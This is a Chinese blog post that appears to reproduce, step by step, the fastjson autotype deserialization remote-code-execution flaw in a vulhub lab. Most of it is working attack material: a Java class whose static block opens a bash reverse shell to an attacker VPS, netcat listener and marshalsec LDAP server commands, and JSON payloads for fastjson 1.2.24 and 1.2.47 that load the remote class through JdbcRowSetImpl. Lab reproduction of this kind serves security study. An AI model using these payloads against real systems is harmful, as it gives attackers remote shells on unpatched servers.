美文网首页
fastjson反序列化漏洞复现

fastjson反序列化漏洞复现

作者: YPL8 | 来源:发表于2022-03-03 05:04 被阅读0次

    fastjson反序列化漏洞复现

    详细描述

    fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

    复现环境

    42.xx.xx.158   靶机ip
    27.xx.xx.220   vps          java版本1.8.0_261
    win10          burp抓包执行poc 
    

    漏洞复现

    1、靶机环境安装

    //42.xx.xx.158下载vulhub环境
    git clone https://github.com/vulhub/vulhub.git
    
    image.png

    2、靶机环境部署过程

    //进入fastjson漏洞环境目录
    ls
    cd vulhub/
    cd fastjson/
    cd 1.2.47-rce/
    
    image.png

    3、靶机生成docker环境

    //进入fastjson漏洞环境目录下执行,默认端口为8090
    docker-compose up -d
    docker ps
    
    image.png

    4、靶机环境搭建成功

    //访问靶机
    http://42.xx.xx.158:8090/
    
    image.png

    5、vps下载marshalsec

    地址:https://github.com/mbechler/marshalsec
    //进入marshalsec-master目录
    cd /tmp/marshalsec-master/
    //使用maven编译jar包
    mvn clean package -DskipTests
    
    image.png

    6、vps marshalsec编译成功


    image.png

    7、成功生成marshalsec-0.0.3-SNAPSHOT-all.jar


    image.png

    8、vps监听端口

     nc -lvvp 6666
    
    image.png

    9、EXP源代码,保存为test.java

    // bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1    这里的ip是vps,以及vps监听的端口6666
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class test {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/27.xx.xx.220/6666 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    10、javac编译生成test.class文件

    javac test.java
    
    image.png

    11、把test.class复制到/root目录下


    image.png

    12、使用python搭建一个临时的web服务

    python2 -m SimpleHTTPServer 8445
    
    image.png

    13、访问http://27.xx.xx.220:8445/

    image.png

    14、vps启动LDAP服务,监听1389端口,并制定加载远程类

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://27.xx.xx.220:8445/#test" 1389
    
    image.png

    15、fastjson反序列化漏洞poc

    // ldap://27.xx.xx.220:1389/test   vpsip,LDAP监听端口1389,test恶意test.class
    // 1.2.24版本poc
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://27.xx.xx.220:1389/test",
            "autoCommit":true
        }
    }
    
    // 1.2.47版本poc
    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://27.xx.xx.220:1389/test",
            "autoCommit":true
        }
    }
    

    16、burp抓包执行poc


    image.png

    17、反弹成功,获取靶机docker


    image.png

    仅供学习使用!!

    相关文章

      网友评论

          本文标题:fastjson反序列化漏洞复现

          本文链接:https://www.haomeiwen.com/subject/fvlyrrtx.html